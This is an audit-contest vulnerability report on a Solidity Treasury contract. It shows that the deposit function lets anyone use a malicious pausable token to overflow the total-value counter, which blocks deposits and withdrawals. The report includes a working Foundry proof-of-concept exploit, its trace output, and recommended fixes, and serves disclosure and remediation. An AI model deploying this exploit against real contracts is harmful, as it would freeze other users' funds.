Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

DOS in Treasury#deposit

wiasliaw

Vulnerability Details and Impact

In Treasury.sol#deposit, any account can deposit any ERC-20 token into the Treasury. Additionally, accounting for ERC-20 balances are mixed together.

// no role-based check
function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
​
IERC20(token).transferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
// mixed accounting
_totalValue += amount;
​
emit Deposited(token, amount);
}

Without any checks for address token and role-based verification, an attacker can deploy an ERC-20 token with minting and pausing functionalities, then trigger Treasury.sol#deposit to cause a denial-of-service attack on Treasury.sol.

The proof of concept below demonstrates this attack. It causes Treasury.sol#deposit to DOS by overflowing _totalValue and Treasury.sol#withdraw to DOS through token pausability.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
​
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC20Pausable} from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
​
contract MyToken is ERC20, ERC20Pausable, Ownable {
constructor(address initialOwner)
ERC20("MyToken", "MTK")
Ownable(initialOwner)
{}
​
function pause() public onlyOwner {
_pause();
}
​
function unpause() public onlyOwner {
_unpause();
}
​
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
​
// The following functions are overrides required by Solidity.
​
function _update(address from, address to, uint256 value)
internal
override(ERC20, ERC20Pausable)
{
super._update(from, to, value);
}
}
​
contract TestTreasury is Test {
Treasury internal _treasury;
MyToken internal _tokenA;
MyToken internal _tokenB;
Account internal other = makeAccount("Other");
​
function setUp() external {
_treasury = new Treasury(address(this));
_tokenA = new MyToken(address(this));
_tokenB = new MyToken(address(this));
​
// mint token
_tokenB.mint(other.addr, 1);
}
​
function test_dos() external {
uint256 currentValue = _treasury.getTotalValue();
uint256 amount = type(uint256).max - currentValue;
_tokenA.mint(address(this), amount);
_tokenA.approve(address(_treasury), type(uint256).max);
_treasury.deposit(address(_tokenA), amount);
_tokenA.pause();
​
// dos of withdraw
vm.expectRevert();
_treasury.withdraw(address(_tokenA), amount, address(this));
​
// dos of deposit
vm.startPrank(other.addr);
_tokenB.approve(address(_treasury), type(uint256).max);
vm.expectRevert();
_treasury.deposit(address(_tokenB), 1);
vm.stopPrank();
}
}
├─ [0] VM::expectRevert(custom error 0xf4844814)
│ └─ ← [Return]
├─ [9234] Treasury::withdraw(MyToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], TestTreasury: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ ├─ [1085] MyToken::transfer(TestTreasury: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ │ └─ ← [Revert] EnforcedPause()
│ └─ ← [Revert] EnforcedPause()
├─ [0] VM::startPrank(Other: [0x395A6553588Dc8CdE19cc86eb5D8F26d48e82399])
│ └─ ← [Return]
├─ [25321] MyToken::approve(Treasury: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ ├─ emit Approval(owner: Other: [0x395A6553588Dc8CdE19cc86eb5D8F26d48e82399], spender: Treasury: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ └─ ← [Return] true
├─ [0] VM::expectRevert(custom error 0xf4844814)
│ └─ ← [Return]
├─ [60939] Treasury::deposit(MyToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 1)
│ ├─ [33480] MyToken::transferFrom(Other: [0x395A6553588Dc8CdE19cc86eb5D8F26d48e82399], Treasury: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1)
│ │ ├─ emit Transfer(from: Other: [0x395A6553588Dc8CdE19cc86eb5D8F26d48e82399], to: Treasury: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1)
│ │ └─ ← [Return] true
│ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
├─ [0] VM::stopPrank()
│ └─ ← [Return]

Tools Used

manual.

Recommendations

1. add role-base check

+ function deposit(address token, uint256 amount) external override nonReentrant onlyRole(...)

2. remove _totalValue

- uint256 private _totalValue;
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.